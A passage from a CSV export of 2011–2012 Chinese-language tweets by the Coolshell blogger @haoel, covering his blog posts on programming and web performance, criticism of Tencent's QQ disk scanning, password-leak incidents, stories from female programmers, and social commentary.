114))]\",https://twitter.com/haoel/status/177478885343105025\n5294,175824050789163008,2012-03-03 06:04:55+00:00,4,0,0,,酷壳 Coolshell.cn - 再谈javascript面向对象编程: 前言:虽有陈皓《Javascript 面向对象编程》珠玉在前，但是我还是忍不住再画蛇添足的补上一篇文章，主要是… http://t.co/oEVMo1F0,\"[TextLink(text='goo.gl/fb/yylB2', url='http://goo.gl/fb/yylB2', tcourl='http://t.co/oEVMo1F0', indices=(95, 115))]\",https://twitter.com/haoel/status/175824050789163008\n5295,174439374761635841,2012-02-28 10:22:42+00:00,0,0,0,,@ro_ikou 现在好了。对了，不是http://t.co/EOma0xZH，而是dnspod.cn。记错了。TNND,\"[TextLink(text='dnspod.net', url='http://dnspod.net', tcourl='http://t.co/EOma0xZH', indices=(19, 39))]\",https://twitter.com/haoel/status/174439374761635841\n5296,174435366466617344,2012-02-28 10:06:46+00:00,0,1,1,,http://t.co/EOma0xZH都无法解析了，这是怎么一回事啊？搞得coolshell.cn的域名解析都死翘翘了。,\"[TextLink(text='dnspod.net', url='http://dnspod.net', tcourl='http://t.co/EOma0xZH', indices=(0, 20))]\",https://twitter.com/haoel/status/174435366466617344\n5297,173067141791223808,2012-02-24 15:29:56+00:00,0,0,0,,酷壳 Coolshell.cn - 千万别惹程序员: 酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有… http://t.co/lk3hrbeL,\"[TextLink(text='goo.gl/fb/qN43C', url='http://goo.gl/fb/qN43C', tcourl='http://t.co/lk3hrbeL', indices=(94, 114))]\",https://twitter.com/haoel/status/173067141791223808\n5298,172231736397275136,2012-02-22 08:10:20+00:00,22,104,4,,突然发现，天朝是面向对象的ZF，因为其具有了面向对象的三大特性：1）“封装”- 你不知道其内部是怎么运作的；2）“继承” - 关于继承性请参照北韩的案例自行推敲；3）“多态” - 很多相同的事，对于官员和百姓在执行起来的多态的。,,https://twitter.com/haoel/status/172231736397275136\n5299,165473016409628672,2012-02-03 16:33:36+00:00,3,2,0,,酷壳 Coolshell.cn - Why C++ ? 王者归来: 因为又有人邀请我去Quora的C2C网站去回答问题去了，这回是 关于 @laiyonghao 的这篇有点争议的博文… http://t.co/kfsK9ntd,\"[TextLink(text='goo.gl/fb/Tsv52', url='http://goo.gl/fb/Tsv52', tcourl='http://t.co/kfsK9ntd', indices=(93, 113))]\",https://twitter.com/haoel/status/165473016409628672\n5300,165473014459273218,2012-02-03 16:33:35+00:00,2,1,0,,酷壳 Coolshell.cn - 软件开发的“三重门”: 自从上次写了“程序员技术练级攻略” 以来，就觉得似乎还有很多东西没有谈到，但当时没有继续思考了。而春节前有人问我，是做底层技术… http://t.co/RtZ8SyeF,\"[TextLink(text='goo.gl/fb/HC650', url='http://goo.gl/fb/HC650', tcourl='http://t.co/RtZ8SyeF', indices=(95, 115))]\",https://twitter.com/haoel/status/165473014459273218\n5301,165242130892197892,2012-02-03 01:16:08+00:00,0,3,2,,辟谣：Facebook 上巿的新闻是假新闻，据查，这个网站根本不存在。深入调查后，发现因为国人的英文水平欠缺，拼错了网站的名称，把Fuckbook拼成了Facebook，所以，导致很多人无法登录其网站，对此向Fuckbook表示深深地歉意。,,https://twitter.com/haoel/status/165242130892197892\n5302,165000390532800513,2012-02-02 09:15:33+00:00,2,5,0,,【Why C++ ? 王者归来】 因为又有人请我去Quora的C2C站去回答问题去了，这回是 关于这篇有点争议的博文《2012 不宜进入的三个技术点》C++争议的争议最大。我就在这里回复一下这个问题吧... http://t.co/h60lOZjc,\"[TextLink(text='coolshell.cn/articles/6548.…', url='http://coolshell.cn/articles/6548.html', tcourl='http://t.co/h60lOZjc', indices=(104, 124))]\",https://twitter.com/haoel/status/165000390532800513\n5303,164561330492276736,2012-02-01 04:10:53+00:00,0,0,1,,@haoel 原来，新浪微博用锁在屋里的钥匙来开锁，强大啊。,,https://twitter.com/haoel/status/164561330492276736\n5304,164560674473771009,2012-02-01 04:08:16+00:00,0,0,0,,@jianghu52 这是两个事。,,https://twitter.com/haoel/status/164560674473771009\n5305,164559322062393345,2012-02-01 04:02:54+00:00,1,1,3,,有人提醒我说，新浪微博“帐号设置”里的“登录保护”里有设置 -&gt; “在哪些地方输入验证码”，这样的设计不是坑程序员吗？——如果不登录，你就拿不到用户设置的选项，拿不到，你就不知道要不要输验证码。怪不出搞出这样错乱的登录！2B啊。,,https://twitter.com/haoel/status/164559322062393345\n5306,164553452352045057,2012-02-01 03:39:34+00:00,0,0,2,,@jianghu52 不会吧。验证码就是为了有人用机器人尝试口令啊。,,https://twitter.com/haoel/status/164553452352045057\n5307,163839190835015681,2012-01-30 04:21:21+00:00,11,5,2,,【软件开发的“三重门”】自从上次写了“程序员技术练级攻略”以来，就觉得似乎还有很多东西没有谈到，但当时没有继续思考了。而春节前有人问我，是做底层技术，还是做业务。这问题让我思考了很多，不由自主地回顾了一下我这十多年的软件开发经历... http://t.co/ANFfD8Zz,\"[TextLink(text='t.cn/zOvT0rn', url='http://t.cn/zOvT0rn', tcourl='http://t.co/ANFfD8Zz', indices=(118, 138))]\",https://twitter.com/haoel/status/163839190835015681\n5308,163697157516431361,2012-01-29 18:56:58+00:00,1,3,1,,把疑点暗示成事实和断定，把拿不出证据说成挖坑，说对方辩友是扑通跳坑，博文没上头条说是媒体被公关，说别人互粉是方黑联盟…… 当只用自己的标准衡量一切的时候，也是人失去理智的时候，也离专横和不择手段不远了，更别谈什么科普和打假了。可怜啊。,,https://twitter.com/haoel/status/163697157516431361\n5309,160177456324689920,2012-01-20 01:50:56+00:00,0,0,0,,@ryan_anaconda 哇，我说的是督促和舆论，你说的是革命。呵呵。,,https://twitter.com/haoel/status/160177456324689920\n5310,160174972088745986,2012-01-20 01:41:03+00:00,3,4,1,,以前，国内的公司在DOS上做各种汉字平台和汉字处理软件，结果Window95一出来，汉字平台废了，Word移植过来，国产的字处理软件也玩完了。今天，在移动平台上还是发生几乎相同的事，你看，iBooks Author 出来了……,,https://twitter.com/haoel/status/160174972088745986\n5311,160026698774093824,2012-01-19 15:51:52+00:00,9,56,3,,要是韩寒，方舟子，罗永浩，组成一个团队来监督督促ZF，这会是多强的一个团队啊。韩寒打先锋，发一些檄文，造一些舆论；然后方舟子出场，主攻数据和法律，用严谨地思路把对方打出原型；这个时候罗永浩就可以上了，用砸冰箱的干劲上去把那些烂人砸了。舆论界的梦之队啊！,,https://twitter.com/haoel/status/160026698774093824\n5312,159837821849448450,2012-01-19 03:21:21+00:00,0,13,1,,新浪微博上的最强的用户体验是骂人和打嘴仗，尤其是带着粉丝对骂的阵势，用户体验做得很好，都非常火爆，比如，方舟子和李开复，方舟子和罗永浩，方舟子和韩寒…… （为什么总是有方舟子啊？） 方舟子就像是星际里的“大件”，名人之间开战都得先约定，不使用方舟子。呵呵。,,https://twitter.com/haoel/status/159837821849448450\n5313,159585919035387905,2012-01-18 10:40:22+00:00,0,2,0,,“韩寒代笔”的事，让我隐约看到了“人民斗人民”的重演，上一次“人民斗人民”是在上世纪60-70年代。这让我想到两个事，1）任何事都是有他的原因和动机的，这其中各方人的动作是什么？2）五毛应该进化了，这段两年不像前两年了那么弱智了，而且好像都不知踪影了，那么，这帮人现在干什么呢？,,https://twitter.com/haoel/status/159585919035387905\n5314,158857606629298176,2012-01-16 10:26:19+00:00,0,0,0,,@ayanamist 都是成年人了，别还像个青春期的孩子似的。,,https://twitter.com/haoel/status/158857606629298176\n5315,158850381575766016,2012-01-16 09:57:36+00:00,0,0,0,,@Fenng 期待你的小道消息。哈。,,https://twitter.com/haoel/status/158850381575766016\n5316,158850203984723969,2012-01-16 09:56:54+00:00,0,0,0,,@ayanamist 没什么，我不当你SB，我就是有点看不懂你。你也是一个善于思考，理性大于感性的人啊，在网上吐槽没有问题，但是也应该吐得有点水平嘛，以你的见识，没有必要把自己降到市井的层次嘛。如果我们有机会认识，我们或许还能谈得来。何必呢？,,https://twitter.com/haoel/status/158850203984723969\n5317,158846865406820353,2012-01-16 09:43:38+00:00,0,0,0,,@ayanamist 我就是很奇怪了，你又不知道我的团队的情况，你怎么知道我在忽悠人？ 另外，这个世上还有很多有意义的事，你这么年轻有为，你应该多看看那些事。我真值得你那么在乎吗？如果是，你应该来北京和我聊聊。,,https://twitter.com/haoel/status/158846865406820353\n5318,158841378409938945,2012-01-16 09:21:50+00:00,0,0,1,,@Fenng 没有看不起你的意思。只是觉得没有被你理解，我有点敏感了。可能我们俩是从两个方向出发来谈这个事的。另，无论有没有经历都可以讨论的。呵呵。,,https://twitter.com/haoel/status/158841378409938945\n5319,158824447539806208,2012-01-16 08:14:33+00:00,0,0,0,,@ayanamist 仓库的意思是告诉你数据有中心结果。要一致性处理。我原谅你的无知。,,https://twitter.com/haoel/status/158824447539806208\n5320,158759088174538752,2012-01-16 03:54:50+00:00,6,4,0,,酷壳 Coolshell.cn - 由12306.cn谈谈网站性能技术: 12306.cn网站挂了，被全国人民骂了。我这两天也在思考这个事，我想以这个事来粗略地和大家讨论一下网站性能的… http://t.co/l2EQ1fJQ,\"[TextLink(text='goo.gl/fb/8ETj3', url='http://goo.gl/fb/8ETj3', tcourl='http://t.co/l2EQ1fJQ', indices=(94, 114))]\",https://twitter.com/haoel/status/158759088174538752\n5321,158749107391967232,2012-01-16 03:15:11+00:00,0,0,0,,@hi_janwen 拿出十年时间来学，就不多了。呵呵。,,https://twitter.com/haoel/status/158749107391967232\n5322,158017877629341697,2012-01-14 02:49:32+00:00,3,2,3,,我准备写一篇由12306网站带来的技术思考的文章，其中包括业务上的思考，和一些常用的web网站高性能优化的技术，以及针对 简悦云风 的排列系统（http://t.co/zuAPBejb）更为深入的思考。,\"[TextLink(text='blog.codingnow.com/2012/01/ticket…', url='http://blog.codingnow.com/2012/01/ticket_queue.html', tcourl='http://t.co/zuAPBejb', indices=(72, 92))]\",https://twitter.com/haoel/status/158017877629341697\n5323,156403503475073025,2012-01-09 15:54:35+00:00,4,2,0,,关于热情和态度，说白了就是不要给自己找借口。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。时间可以挤，工作之余可以学，挑战无处不在…… 想想那些你有热情的事，你会发现，几乎没有什么可以阻止你去做那些事。,,https://twitter.com/haoel/status/156403503475073025\n5324,156403464468041728,2012-01-09 15:54:26+00:00,0,0,1,,@newsjobs 我始终认为，我说的这个就是真正的敏捷。,,https://twitter.com/haoel/status/156403464468041728\n5325,156400540308344832,2012-01-09 15:42:49+00:00,0,0,0,,@FrostNovaZzz 我在amazon的团队,,https://twitter.com/haoel/status/156400540308344832\n5326,156398493664157696,2012-01-09 15:34:41+00:00,1,5,1,,关于编程，不同的人有不同的方法。我的团队里，有人喜欢test case先行；有人喜欢test case后行；有人则是靠严谨的思考，简洁的编码和手动测试保证质量。虽然方法不一样，但他们都努力思考，都对代码质量有很高要求。条条道路通罗马，重要的不是方法，而是目的和想要达到目的热情。,,https://twitter.com/haoel/status/156398493664157696\n5327,156317757057662976,2012-01-09 10:13:52+00:00,0,0,0,,@humaeks  嗯，你说的也许是对的。C++出来的时候也是一样的。不过不妨学习一下新的东西。：）,,https://twitter.com/haoel/status/156317757057662976\n5328,156217102171254785,2012-01-09 03:33:54+00:00,4,1,1,,酷壳 Coolshell.cn - Javascript 面向对象编程: Javascript是一个类C的语言，他的面向对象的东西相对于C++/Java比较奇怪，但是其的确相当的强大，在… http://t.co/RmEfiH0S,\"[TextLink(text='goo.gl/fb/X1lL7', url='http://goo.gl/fb/X1lL7', tcourl='http://t.co/RmEfiH0S', indices=(95, 115))]\",https://twitter.com/haoel/status/156217102171254785\n5329,155634924702023680,2012-01-07 13:00:32+00:00,0,0,2,,\"@sagasw @yurii_yu @soulhacker @jeffz_cn 我们是每周四做代码walk through, 随时在做code review(offline式的)，UT是当代码快稳定了后才写。\",,https://twitter.com/haoel/status/155634924702023680\n5330,155284635935449088,2012-01-06 13:48:36+00:00,3,2,0,,酷壳 Coolshell.cn - Hash Collision DoS 问题: 最近，除了国内明文密码的安全事件，还有一个事是比较大的，那就是 Hash Collision DoS… http://t.co/J6SpL3G7,\"[TextLink(text='goo.gl/fb/TVENr', url='http://goo.gl/fb/TVENr', tcourl='http://t.co/J6SpL3G7', indices=(93, 113))]\",https://twitter.com/haoel/status/155284635935449088\n5331,155223509566623744,2012-01-06 09:45:43+00:00,0,0,0,,@hi_janwen 中国的技术团队还不大。牛人都在美国，不过，中国的技术团队正在变NB。亚马逊不是一个喜欢分享的公司，亚马逊更像一个个沉稳的猎手，总是躲在你看不见的地方打猎。谢谢你喜欢我的blog。,,https://twitter.com/haoel/status/155223509566623744\n5332,155222990739615744,2012-01-06 09:43:39+00:00,0,0,0,,@loujianwen 还是有很多不如意的需要改进的地方。,,https://twitter.com/haoel/status/155222990739615744\n5333,155222788003733504,2012-01-06 09:42:51+00:00,0,1,0,,@loujianwen 亚马逊中国刚刚通过 Joyo学完中国市场，刚刚打完基础，替换了所有Joyo的系统。所以，现在正在起步中。我估计在1-2年内你会看到很多本地化的东西的。,,https://twitter.com/haoel/status/155222788003733504\n5334,155222082391785472,2012-01-06 09:40:02+00:00,2,1,0,,@loujianwen  亚马逊内部的团队太多了，了解不过来啊。内部的技术就是一个大宝库啊，看不完也学不完。,,https://twitter.com/haoel/status/155222082391785472\n5335,155211265906704384,2012-01-06 08:57:04+00:00,0,0,0,,@haoel @loujianwen 更正一下，amazon自己做搜索，但是我的团队不做。A9不是很清楚。,,https://twitter.com/haoel/status/155211265906704384\n5336,155211030312660992,2012-01-06 08:56:07+00:00,0,0,1,,@loujianwen  这个我不太清楚了。我们不做搜索。,,https://twitter.com/haoel/status/155211030312660992\n5337,155111890735996929,2012-01-06 02:22:11+00:00,0,0,1,,我看到一些人纠结于酷壳的文风和倾向性，说明一下，我的文章都带着我强烈的个人色彩和个人性格，公正式的，媒体式的文章我不会写，因为我本来的初衷是，写这些东西的更多的目的不是为了迎合大众，只不过是为了记录我自己的想法罢了。当个人blog来看就好了。,,https://twitter.com/haoel/status/155111890735996929\n5338,154929171162873856,2012-01-05 14:16:07+00:00,1,10,2,,腾讯的那个产品经理把QQ扫描硬盘比做——“现在坐高铁或飞机，很多时候除了扫描仪，安检人员的确会摸寻你的口袋以确保无危险物品”，真敢比啊。高铁或飞机的安全问会导致他人的生命受到威胁，QQ帐号出了问题，有生命威胁吗？。真是侮辱我的智商。,,https://twitter.com/haoel/status/154929171162873856\n5339,154926107341238273,2012-01-05 14:03:57+00:00,0,2,0,,再说和腾讯那两员工的来信，他们说对于我反感腾讯的5点，他们“逐一确认，腾讯的软件对这5点实现方面基本达到满分”，还说“这种自信是来源于腾讯对用户感的极度关注”。（那五点是，扫描硬盘、强制开通、弹窗、监控，帐号申诉。我还说了那个“沉重的决定”，“开发垃圾功能要用Q币才能关闭”等）,,https://twitter.com/haoel/status/154926107341238273\n5340,154770761687629824,2012-01-05 03:46:39+00:00,2,16,0,,有朋友说，“技术好的程序员总是看不起技术不好的程序员”，问我怎么看。这很正常，就像下棋好的人，大多不喜允和棋技差的人玩。我刚工作的时候也被很多人看不起甚至经常被羞辱，这些羞辱都成了我努力的动力，被人羞辱对于成长可能是件好事，因为Grow up through the pain!,,https://twitter.com/haoel/status/154770761687629824\n5341,154751610281672705,2012-01-05 02:30:33+00:00,3,0,0,,酷壳 Coolshell.cn - Resin服务器getResource揭秘: （感谢网友 liuxiaori 继续分享其经历）这样的详细的图文并茂的文章让我很佩服！ 前言 接上文“由… http://t.co/PVdsk6pj,\"[TextLink(text='goo.gl/fb/l5nUK', url='http://goo.gl/fb/l5nUK', tcourl='http://t.co/PVdsk6pj', indices=(95, 115))]\",https://twitter.com/haoel/status/154751610281672705\n5342,154751606888472577,2012-01-05 02:30:32+00:00,1,4,0,,酷壳 Coolshell.cn - 程序员因为女孩而美丽！: 女程序员是程序员里美丽的风景线，我希望这些女程序员的经历能让我们在这个“重男轻女”的社会中可以给女程员有更多平等的机会和条件… http://t.co/2vHBJ1GA,\"[TextLink(text='goo.gl/fb/euSLk', url='http://goo.gl/fb/euSLk', tcourl='http://t.co/2vHBJ1GA', indices=(95, 115))]\",https://twitter.com/haoel/status/154751606888472577\n5343,154588311736946688,2012-01-04 15:41:40+00:00,3,12,1,,见证奇迹的时候， 新浪SQL注入，明文口令。 http://t.co/SEpnkdmQ //@刘谦：喂喂喂!!!!!太恐怖了吧！為什麼拿我做示範！ http://t.co/8A6cc4YB,\"[TextLink(text='weibo.com/1271542887/xFd…', url='http://weibo.com/1271542887/xFdlKbG0g', tcourl='http://t.co/SEpnkdmQ', indices=(23, 43)), TextLink(text='t.cn/SirLRG', url='http://t.cn/SirLRG', tcourl='http://t.co/8A6cc4YB', indices=(74, 94))]\",https://twitter.com/haoel/status/154588311736946688\n5344,154579579569315841,2012-01-04 15:06:58+00:00,1,7,3,,我在大四的时候，跟老师帮一个送水公司写软件，写完后，老师请我吃了一个大碗面。还帮老师写书，毕业后，书出版了，老师打电话给我通知我：“我们写的书出版了”，我很兴奋，结果老师下一句话说：“你去出版社买十本吧”。我的神啊。,,https://twitter.com/haoel/status/154579579569315841\n5345,154249119022583808,2012-01-03 17:13:50+00:00,0,1,1,,预告：明早（不应该是今早，总之是北京时间1月4日早8:30）等着上酷壳上看女程序员们的故事吧，文章标题《程序员因为女孩而美丽》。故事很多很长。让我们来看看这十来个女程序员和我们分享的她们的故事。,,https://twitter.com/haoel/status/154249119022583808\n5346,154206548258848768,2012-01-03 14:24:40+00:00,8,1,0,,强烈推荐大家看看这位女程序员的博客，http://t.co/f9PZKDUL，正在连载：《为了忘却的纪念-我在恒生的七年》 从“前传”，到“初出茅庐”，到“初露锋芒”，再到“一波三折”，还在写作中……,\"[TextLink(text='blog.sina.com.cn/u/1892569084', url='http://blog.sina.com.cn/u/1892569084', tcourl='http://t.co/f9PZKDUL', indices=(18, 38))]\",https://twitter.com/haoel/status/154206548258848768\n5347,154074091446484993,2012-01-03 05:38:20+00:00,1,16,1,,有两腾讯员工发邮件和我争论腾讯是否流氓，进而讨论QQ扫描硬盘，他们说这是为保护安全，因为仅扫描无上传。我说，1）啥时也能到贵公司扫描一下内网？2）这世上的IM网游电商网银都没这么干，腾讯这么做要么世界级的创新，要么就是世界级的2B。3）建议物业保安在你进家门时为了安全摸遍你全身。,,https://twitter.com/haoel/status/154074091446484993\n5348,153868054856605697,2012-01-02 15:59:37+00:00,2,3,1,,有人对 “不去腾讯百度之类的流氓公司”的观点比较纠结。说这比较幼稚。我想说，很多东西在一些人的眼里是块宝，但是在别人的眼里就是坨屎，这个很正常。有原则挺好的，有能力的人都是有个性的，不然像Steve Jobs，Linus，Richard Stallman之流的人都是幼稚的了。,,https://twitter.com/haoel/status/153868054856605697\n5349,153866495926091777,2012-01-02 15:53:25+00:00,0,1,2,,关于安全，有一个很重要的事情是你的邮箱。因为现在有越来越多的系统都需要你绑定你的邮箱以重重置口令，所以，如果你的邮箱被盗后，这意味着可以用这个邮箱来重置你所有帐号的口令。所以，是用gmail，还是国内的邮箱，大家自己选吧。,,https://twitter.com/haoel/status/153866495926091777\n5350,152575550567890944,2011-12-30 02:23:40+00:00,2,3,1,,酷壳 Coolshell.cn - 一个女程序员的故事: 因为有人在酷壳里评论里说我给一个女程序员的建议不靠谱，我不服，因为我的工作经历中的一些女程序员都很不错，比那些男程序员都强，所以… http://t.co/KMIECVqz,\"[TextLink(text='goo.gl/fb/sX9rM', url='http://goo.gl/fb/sX9rM', tcourl='http://t.co/KMIECVqz', indices=(95, 115))]\",https://twitter.com/haoel/status/152575550567890944\n5351,152204643664003073,2011-12-29 01:49:49+00:00,3,7,1,,@haoel 6）＂⋯虽然我可能离google这些企业的要求还有差距，但是那是我的方向。不过像baidu，腾讯这些流氓公司，给我多少钱也不去，女程序员也是有傲骨的⋯＂,,https://twitter.com/haoel/status/152204643664003073\n5352,152204533265743872,2011-12-29 01:49:23+00:00,3,0,1,,@haoel 5）我曾经怀疑过自己是否适合做技术，总觉得自己不如男生，也总在问自己的路在哪。到现在，我觉得做技术挺好，每天写着自己的code，甚至越来越喜欢⋯⋯何况我现在工作上越来越得心应手，不久前，我收到客户的邀请，他们想让我transfer到美国或者加拿大成为他们的一员⋯＂,,https://twitter.com/haoel/status/152204533265743872\n5353,152204315564580864,2011-12-29 01:48:31+00:00,2,1,1,,@haoel 4）＂⋯技术从不熟悉到熟悉，业务逻辑从不熟悉到熟悉，都是在开发每个feature和改的defect中慢慢了解的，硕大的系统不允许我一口吃个胖子。只要脑子里绷根弦就每天都有进步。有时候一个defect要跟踪成千上万行代码，你才知道哪里出了问题，这是需要耐心和细心的⋯＂,,https://twitter.com/haoel/status/152204315564580864\n5354,152204221343739904,2011-12-29 01:48:08+00:00,3,0,1,,@haoel  3）＂⋯之后面试了一家日资企业，他们之中有本科生，有研究生，都是男生，就我一个女生。问的也挺基础，就是servlet如何工作，写没写过SP，有人问，什么是SP，没人理他，我告诉他是store procedure。后来HR的人过来让我留下二面，说我打败了所有男士⋯＂,,https://twitter.com/haoel/status/152204221343739904\n5355,152203984352976896,2011-12-29 01:47:12+00:00,2,1,1,,@haoel 2）＂⋯实习的第一家公司是个私企，工作两周后他们不满意辞退了我，沮丧是当然的，我知道我的能力是有差距的。虽然他们没有任何培训，直接拉去干活，起码的业务流程也没给我讲，但是我真的发自内心感谢他们辞了我，让我认清了自己⋯＂,,https://twitter.com/haoel/status/152203984352976896\n5356,152203821043564544,2011-12-29 01:46:33+00:00,2,0,1,,@haoel 摘来信的几段给大家看看我们的女程序员：1）”⋯PM将我提升为开发组负责人，但是一年多过去了，我并没有成就感，相反自己在技术上一事无成⋯去上海参加了几次技术大会，每回回来都会热血沸腾，工作忙又懒惰，导致技术一直无法提高，很多书都没看。每天都有强烈的自责感⋯“,,https://twitter.com/haoel/status/152203821043564544\n5357,152203465240739840,2011-12-29 01:45:08+00:00,0,0,1,,@haoel 我已收到好几封女程序员的来信，看了很感动，谢谢大家的支持。,,https://twitter.com/haoel/status/152203465240739840\n5358,152059535857688576,2011-12-28 16:13:13+00:00,0,0,0,,@4xy 是的，就是这么一点一滴来的。,,https://twitter.com/haoel/status/152059535857688576\n5359,152027584761298944,2011-12-28 14:06:15+00:00,0,0,0,,@GuanKe 那篇明显是软文。,,https://twitter.com/haoel/status/152027584761298944\n5360,152025176832360448,2011-12-28 13:56:41+00:00,0,0,0,,@hewigovens 是的，不过人家想回国。,,https://twitter.com/haoel/status/152025176832360448\n5361,151958556663492608,2011-12-28 09:31:57+00:00,0,0,2,,@hanfoo 只有这样的程序员才会不差钱。,,https://twitter.com/haoel/status/151958556663492608\n5362,151957860530651136,2011-12-28 09:29:11+00:00,4,15,4,,刚电话面试一个在美多年的华裔女程序员，15年的开发经验，OO和系统设计，J2EE，SOA的知识和技能都很强。能力超过了我这大半年来面过的近60个国内的男性程序员。我问她，“美国的薪资代遇和国内的差距比较大，你怎么看？”，她说，“薪资按国内标准的来，只要干的事有挑战有意思就好”。,,https://twitter.com/haoel/status/151957860530651136\n5363,151912420720377856,2011-12-28 06:28:38+00:00,6,1,1,,\"酷壳 Coolshell.cn - 由一个问题到 Resin ClassLoader 的学习: （感谢网友 liuxiaori 分享其经历）, 从这个分享我们可以看到什么叫真正的学习。牛… http://t.co/h5yFb08W\",\"[TextLink(text='goo.gl/fb/Nbzdc', url='http://goo.gl/fb/Nbzdc', tcourl='http://t.co/h5yFb08W', indices=(95, 115))]\",https://twitter.com/haoel/status/151912420720377856\n5364,151856699387547649,2011-12-28 02:47:13+00:00,0,9,1,,call 所有的女程员，我想给你们写一篇blog，能和我分享一下你们的经历和技术心得吗？ 请发到我的邮箱： haoel@hotmail.com,,https://twitter.com/haoel/status/151856699387547649\n5365,151855359672332288,2011-12-28 02:41:53+00:00,0,0,0,,@hfcc8685  我同意，主要看兴趣。,,https://twitter.com/haoel/status/151855359672332288\n5366,151853133683884032,2011-12-28 02:33:03+00:00,0,0,0,,@ZhihuanWu 再回上https，那么在客户端是安全的。但是服务器不知道。,,https://twitter.com/haoel/status/151853133683884032\n5367,151851850281385984,2011-12-28 02:27:57+00:00,0,0,4,,在酷壳上有人问我女孩不适合做技术，我举了两个女孩做程序员做得很好的例子，于是有人不满，还因此引发一些口水战。我承认女孩子大多不想做程序员，而我见过做程序员的做得很强的女孩子都在国外。不妨在这里做个小讨论，但是拒绝一切有性别歧视的言论。,,https://twitter.com/haoel/status/151851850281385984\n5368,151693942411378691,2011-12-27 16:00:28+00:00,1,8,1,,使用用户的隐私数据来做营销，首当其冲的当属 @kaifulee 同学转发的 @马杰-安全宝 的这条微博 http://t.co/pTM47v6e 创新工场的创新最多也就到这个份上了。可笑的是，网民们转发了很多，不少的人还是一些知名的技术人员。,\"[TextLink(text='weibo.com/1197161814/xDW…', url='http://weibo.com/1197161814/xDWVTcSAm', tcourl='http://t.co/pTM47v6e', indices=(52, 72))]\",https://twitter.com/haoel/status/151693942411378691\n5369,151688559470977024,2011-12-27 15:39:05+00:00,0,0,0,,@crazytonyli 这不明摆着吗？不是蒙牛就是伊利嘛。,,https://twitter.com/haoel/status/151688559470977024\n5370,151683522103492609,2011-12-27 15:19:04+00:00,0,0,1,,@crazytonyli 用某某的意思就是告诉你，在中国任何奶制品企业都不可信。,,https://twitter.com/haoel/status/151683522103492609\n5371,151681978108887040,2011-12-27 15:12:56+00:00,4,24,1,,大家是不知道中国奶业的公关能力，前几个月我亲经过的一件事是，晚上7:30焦点访谈要播的某县奶源污染问题，某乳业公关带着县委书记等一干领导，下午5:00到达CCTV，只用了1个小时就搞定了这个“三聚氰胺三周年的节目”。,,https://twitter.com/haoel/status/151681978108887040\n5372,151139598171508737,2011-12-26 03:17:42+00:00,2,14,0,,关于Yahoo，其实Yahoo具备了一切有能够成功的因素，只是Yahoo一开始把自己定位成了广告公司而不是技术公司。而amazon这个网上卖书的公司在开始就把自己定位成技术公司。所以，劳动密集型和知识密集型的差别在N年后就显现出来了。劳动密集型公司总是容易被取代的。,,https://twitter.com/haoel/status/151139598171508737\n5373,150992289244778496,2011-12-25 17:32:21+00:00,0,0,0,,@Arzoo_  在国内做过银行的都知道。,,https://twitter.com/haoel/status/150992289244778496\n5374,150988153585532931,2011-12-25 17:15:55+00:00,16,89,4,,有人在酷壳上说银行的安全没问题，我说两个我以前做银行项目的真实案例：1）为某总行做项目，要测试数据，结果银行直接把生产数据给了我们，其中包括了我所有同事的工资和收支情况。2）有N次上线，因为BUG，不得不直接操作生产数据库更改出错数据。银行方面对我们连理都不理。大家不要太单纯了。,,https://twitter.com/haoel/status/150988153585532931\n5375,150922921081188352,2011-12-25 12:56:43+00:00,0,0,1,,@wanglili114 是的。这太2了。,,https://twitter.com/haoel/status/150922921081188352\n5376,150911827176464384,2011-12-25 12:12:38+00:00,0,1,0,,QQ库不一定是真的，但是你真的相信QQ库不会泄露吗？你真的相信在天朝有隐私吗？,,https://twitter.com/haoel/status/150911827176464384\n5377,150592772641013760,2011-12-24 15:04:49+00:00,0,0,0,,@xuwenhao 有人说博客园可以，我不常上。刚看了一下，也很一般。,,https://twitter.com/haoel/status/150592772641013760\n5378,150580132673880064,2011-12-24 14:14:35+00:00,8,11,4,,国内社区现状：资料/灌水/产商，上CSDN；Java技术入门，上ITEye；Oracle/产商/灌水，上itpub；小白/常识/恶搞/小学作业，上百度知道和新浪爱问；八卦消息/小道消息，上知乎；读书/电影/音乐/文艺范儿，上豆瓣。（再次BS知乎对Quora的UI和功能的抄袭）,,https://twitter.com/haoel/status/150580132673880064\n5379,150577908262510592,2011-12-24 14:05:45+00:00,2,2,0,,酷壳 Coolshell.cn - CSDN明文口令泄露的启示: 2011年12月21日晚，某计算机专业的大学生寝室，某同学大叫到：“兄弟们，最新的日本XX女星的AV片已经下好，大家快… http://t.co/HD61Mu4t,\"[TextLink(text='goo.gl/fb/ScTCv', url='http://goo.gl/fb/ScTCv', tcourl='http://t.co/HD61Mu4t', indices=(94, 114))]\",https://twitter.com/haoel/status/150577908262510592\n5380,150577906521870336,2011-12-24 14:05:45+00:00,1,2,1,,酷壳 Coolshell.cn - 三个事和三个问题: 从9月份开始，是很多在校毕业生的择业时期，有很多很多朋友写邮件给我让我帮他们参考如何选择工作（对不起我无法在第一时间回信，因为实在… http://t.co/on9CVFiL,\"[TextLink(text='goo.gl/fb/TtK45', url='http://goo.gl/fb/TtK45', tcourl='http://t.co/on9CVFiL', indices=(95, 115))]\",https://twitter.com/haoel/status/150577906521870336\n5381,150068119392616451,2011-12-23 04:20:02+00:00,0,0,0,,@shenggxhz @gh05tw01f 就算不加入，可以来看看。这样可以消除一些误解。,,https://twitter.com/haoel/status/150068119392616451\n5382,150055756861947904,2011-12-23 03:30:54+00:00,0,0,0,,@gh05tw01f 不过谢谢你这个非技术的看我的技术的文章。谢谢.,,https://twitter.com/haoel/status/150055756861947904\n5383,150055533699801088,2011-12-23 03:30:01+00:00,0,0,1,,@gh05tw01f 哈哈，这就是了。你不是技术部门。我当然说的是技术研发部门。你看，你和我都不在一个部门里，你完全对我们这边不了解。业务部门就是一个本地公司，你说的没错。这个我也管不了你。我的文章当然是给程序员看的。,,https://twitter.com/haoel/status/150055533699801088\n5384,150054653864841216,2011-12-23 03:26:32+00:00,0,0,0,,@gh05tw01f 我的文章里说了是有条件的，是你的业绩一定要好。你视而不见？,,https://twitter.com/haoel/status/150054653864841216\n5385,150054320749019136,2011-12-23 03:25:12+00:00,0,0,0,,@gh05tw01f 